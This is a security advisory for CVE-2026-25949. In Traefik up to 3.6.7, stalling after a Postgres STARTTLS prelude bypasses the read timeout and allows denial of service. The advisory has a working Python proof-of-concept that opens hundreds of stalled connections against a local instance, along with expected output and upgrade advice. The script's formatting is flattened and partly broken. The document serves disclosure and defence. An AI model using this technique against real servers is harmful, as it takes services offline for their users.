CVE-2026-25949: Traefik: TCP readTimeout bypass via STARTTLS on Postgres
Impact
There is a potential vulnerability in Traefik managing STARTTLS requests.
An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.8
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.
This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).
Details Traefik applies per-connection deadlines based on entryPoints.<name>.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/serverentrypointtcp.go, which sets SetReadDeadline on accepted connections).
However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:
- detect Postgres SSLRequest (8-byte signature), - call conn.SetDeadline(time.Time{}) (clears all deadlines), - then enter the Postgres STARTTLS handler (servePostgres).
The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:
1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (S), 4. stop sending any further bytes.
Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.
Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.
Tested versions: - v3.6.7 - master at commit a4a91344edcdd6276c1b766ca19ee3f0e346480f
PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik v3.6.7 binary. The script below expects the path in the script’s TRAEFIKBIN constant (edit if needed).
Execute the script below: <details> <summary>Script (Click to expand)</summary>
python #!/usr/bin/env python3 from future import annotations
import os import socket import subprocess import tempfile import time from typing import Final
Hardcode the Traefik binary path. Edit as needed. TRAEFIKBIN: Final[str] = "/usr/local/sbin/traefik"
HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080
STARTUPSLEEPSECS: Final[float] = 2.0 READTIMEOUTSECS: Final[float] = 2.0 SLEEPSECS: Final[float] = 3.5 NCONNS: Final[int] = 300
POSTGRESSSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])
def fdcount(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd"))
def openidleconns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for in range(n): conns.append(socket.createconnection((HOST, PORT))) return conns
def openpostgressslrequestconns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for in range(n): s = socket.createconnection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRESSSLREQUEST) try: = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns
def closeall(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass
def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(/)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ )
proc = subprocess.Popen( [ TRAEFIKBIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READTIMEOUTSECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUPSLEEPSECS)
pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None")
ver = subprocess.checkoutput([TRAEFIKBIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIKBIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READTIMEOUTSECS}s N={NCONNS} Sleep={SLEEPSECS}s")
base = fdcount(pid) print(f"traefikpid={pid} fdbase={base}")
idle = openidleconns(NCONNS) fdafteropenidle = fdcount(pid) print(f"baselineopened={NCONNS} fdafteropen={fdafteropenidle} delta={fdafteropenidle - base}") time.sleep(SLEEPSECS) fdaftersleepidle = fdcount(pid) print(f"baselineaftersleep fd={fdaftersleepidle} deltafrombase={fdaftersleepidle - base}") closeall(idle)
pg = openpostgressslrequestconns(NCONNS) fdafteropenpg = fdcount(pid) print(f"candidateopened={NCONNS} fdafteropen={fdafteropenpg} delta={fdafteropenpg - base}") time.sleep(SLEEPSECS) fdaftersleeppg = fdcount(pid) print(f"candidateaftersleep fd={fdaftersleeppg} deltafrombase={fdaftersleeppg - base}") closeall(pg)
if (fdaftersleepidle - base) <= 5 and (fdaftersleeppg - base) >= (NCONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust NCONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0)
if name == "main": main() </details>
<details> <summary>Expected output (Click to expand)</summary>
bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefikpid=46204 fdbase=6 baselineopened=300 fdafteropen=128 delta=122 baselineaftersleep fd=6 deltafrombase=0 candidateopened=300 fdafteropen=306 delta=300 candidateaftersleep fd=306 deltafrombase=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. </details>
Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.
</details>
Other sources
Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.8, there is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. This vulnerability is fixed in 3.6.8.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/traefik/traefik/v3to a version that resolves this vulnerability.Fixed in 3.6.8 - Upgrade
Upgrade
traefikto a version that resolves this vulnerability.Fixed in 3.6.8 - Configuration
Ensure entrypoint transport respondingTimeouts.readTimeout is set on any internet-exposed TCP entrypoint using protocol detection/switcher, so connections that do not match the Postgres STARTTLS fast path will be closed after the configured timeout.
Traefik entryPoints.<name>.transport.respondingTimeouts readTimeout = (set to a non-zero value as configured)
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25949?
CVE-2026-25949 has a critical severity rating due to its potential to allow unauthenticated clients to exploit the vulnerability.
How do I fix CVE-2026-25949?
To remediate CVE-2026-25949, upgrade Traefik to version 3.6.8 or later.
What software is affected by CVE-2026-25949?
CVE-2026-25949 affects Traefik versions up to and including 3.6.7.
What type of attack does CVE-2026-25949 enable?
CVE-2026-25949 enables an attacker to bypass the read timeout by stalling the connection after the STARTTLS request.
Is authentication required to exploit CVE-2026-25949?
No, CVE-2026-25949 can be exploited by unauthenticated clients.